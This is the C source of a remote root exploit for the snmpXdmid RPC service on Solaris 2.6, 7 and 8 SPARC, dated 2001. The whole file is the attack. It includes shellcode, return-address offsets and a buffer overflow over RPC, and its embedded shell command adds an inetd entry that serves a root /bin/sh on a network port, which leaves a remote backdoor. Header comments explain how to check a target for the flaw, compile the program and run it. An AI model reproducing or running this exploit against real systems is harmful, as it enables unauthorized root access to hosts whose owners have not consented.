/* * ########## Private Code! Don't distribute it ! ########### * * --= snmpdXdmid remote exploit for Solaris(2.6/7/8) SPARC =-- * * Check if target is vulnerable: $ rpcinfo -p target |grep 100249 100249 1 * udp 32785 100249 1 tcp 32778 <-- OK, target is vulnerable! * * Compile : cp <...> ./librwtool.so.2 * : ln -s ./librwtool.so.2 ./librwtool.so * : gcc -Wall -pipe -O3 -o ex ex.c -R. -L. -ldmi -lnsl -lrwtool * : strip ./ex * : ldd ./ex * * * Usages : snmp_ex target 6|7|8 * * e.g. ./snmp_ex 192.168.10.2 7 (for Solaris 7) * * Greets to Job de Haas (He found this bug and give me many * help) scz (strong RPC technology support :-) * * * Code by warning3 . 2001-03-20 * v2. 2001-03-22 * * ########## Private Code! Don't distribute it ! ########### */ #include #include #include #include #include #include struct DmiNodeAddress { DmiString_t *address; DmiString_t *rpc; DmiString_t *transport; }; typedef struct DmiNodeAddress DmiNodeAddress; typedef DmiNodeAddress DmiNodeAddress_t; struct DmiComponentAddedIN { DmiUnsigned_t handle; DmiNodeAddress_t *sender; DmiComponentInfo_t *info; }; typedef struct DmiComponentAddedIN DmiComponentAddedIN; #define _DmiComponentAdded ((unsigned long)(0x101)) extern DmiErrorStatus_t * _dmicomponentadded_0x1(DmiComponentAddedIN *, CLIENT *); extern bool_t xdr_DmiComponentAddedIN(XDR *, DmiComponentAddedIN *); #define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */ #define BUFFLEN 2048 #define RET6_BASE 0xef20b2cc #define RET7_BASE 0xfea0b5e0 /* shellcode is from rpc.cmsd exploit */ char sc[] = "\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08" "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff" "\xa6\x1c\xc0\x13\xe6\x23\xe0\x58\xe6\x23\xe0\x60" "\x90\x03\xe0\x50\x94\x1a\x80\x0a\x92\x0b\x80\x0e" "\x9c\x03\xa0\x10\xac\x03\xe0\x50\xec\x23\xbf\xf0" "\xac\x03\xe0\x5c\xec\x23\xbf\xf4\xac\x03\xe0\x64" "\xec\x23\xbf\xf8\xe6\x23\xbf\xfc\x82\x10\x20\x3b" "\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x6b\x73\x68" "\x30\x30\x30\x30\x2d\x63\x63\x63\x30\x30\x30\x30"; int main(int argc, char *argv[]) { DmiComponentInfo_t dmicominfo; DmiNodeAddress_t dminodeaddr; DmiComponentAddedIN addcompIn; DmiString_t combody; DmiErrorStatus_t error_status; char hostname[256]; char buf[BUFFLEN]; CLIENT *clnt; struct timeval tv = {25, 0}; int res, i; int len1, len2; char *command = "echo courier stream tcp nowait root /bin/sh sh -i > /tmp/.x;/usr/sbin/inetd -s /tmp/.x;rm -f /tmp/.x;nohup /etc/init.d/init.dmi start 1>&2 2>/dev/null &\\;"; int offset = 0, offset1, safeoff, tmpoff = 0; long *addrptr; unsigned int retaddr, safeaddr, baseaddr; if (argc < 3) { printf("snmpXdmisd exploit for solaris SPARC\n"); printf("Usage : %s hostname 6|7|8 \n", argv[0]); printf("E.g. $ %s 127.0.0.1 6 (for solaris 2.6)\n", argv[0]); exit(0); } strncpy(hostname, argv[1], 255); if (atoi(argv[2]) == 6) { baseaddr = RET6_BASE; offset = 1740; tmpoff = 540; } else if (atoi(argv[2]) == 7 || atoi(argv[2]) == 8) { baseaddr = RET7_BASE; offset = 1200; tmpoff = 200; } else { printf("Unkonw system type!\n"); printf("Usage : %s hostname 6|7|8\n", argv[0]); printf("E.g. $ %s 127.0.0.1 6 (for solaris 2.6)\n\n", argv[0]); exit(0); } safeoff = 200; safeaddr = baseaddr + 100; retaddr = baseaddr + safeoff + 200; printf("retaddr = %#x\n", retaddr); printf("safeaddr = %#x\n\n", safeaddr); addrptr = (long *) buf; /* fill with safeaddr in the first 'safeoff' bytes */ for (i = 0; i < safeoff / 4; i++) *addrptr++ = safeaddr; /* fill with the nops in the last bytes */ for (i = 0; i < (offset - tmpoff - safeoff) / 4; i++) *addrptr++ = NOP; /* We have to fill the tmpoff bytes with 0xffffffff in Solaris 2.6 */ for (i = 0; i < tmpoff / 4; i++) *addrptr++ = 0xffffffff; /* * overwrite the saved %i0-%i6 and %l0-%l7 with safeaddr so that we * can return from free(). */ for (i = 0; i < 15; i++) *addrptr++ = safeaddr; /* saved (%l0-%l7),(%i0-%i6) */ /* overwrite return address */ *addrptr++ = retaddr; /* %i7 */ len1 = strlen(sc); len2 = strlen(command); /* * program will change some bytes in the last tmpoff bytes So we * can't let our shellcode is in the area. */ offset1 = (offset - tmpoff - len1 - len2) & 0xfffffffc; memcpy(buf + offset1, sc, len1); memcpy(buf + offset1 + len1, command, len2); buf[BUFFLEN - 1] = '\0'; /* fill the DmiComponentInfo_t struct */ combody.body.body_val = (char *) &buf; combody.body.body_len = strlen(buf) + 1; dmicominfo.id = 0; dmicominfo.name = &combody; dmicominfo.pragma = NULL; dmicominfo.description = NULL; dmicominfo.exactMatch = 0; /* fill the DmiNodeAddress_t struct */ dminodeaddr.address = NULL; dminodeaddr.rpc = NULL; dminodeaddr.transport = NULL; /* fill the DmiComponentAddedIN struct */ addcompIn.handle = 0; addcompIn.sender = &dminodeaddr; addcompIn.info = &dmicominfo; clnt = clnt_create(hostname, 100249, 1, "tcp"); if (clnt == NULL) { clnt_pcreateerror("clnt_create"); exit(0); } res = 0; /* call _DmiComponentAdded procedure */ res = clnt_call(clnt, _DmiComponentAdded, xdr_DmiComponentAddedIN, (caddr_t) & addcompIn, xdr_DmiErrorStatus_t, (caddr_t) & error_status, tv); if (res != RPC_SUCCESS) { clnt_perror(clnt, "clnt_call[_DmiComponentAdded]"); printf("\nNow try to connect the target 530 port, good luck.:)\n"); } else fprintf(stderr, "clnt_call[_DmiComponentAdded] worked\n"); clnt_destroy(clnt); return 0; }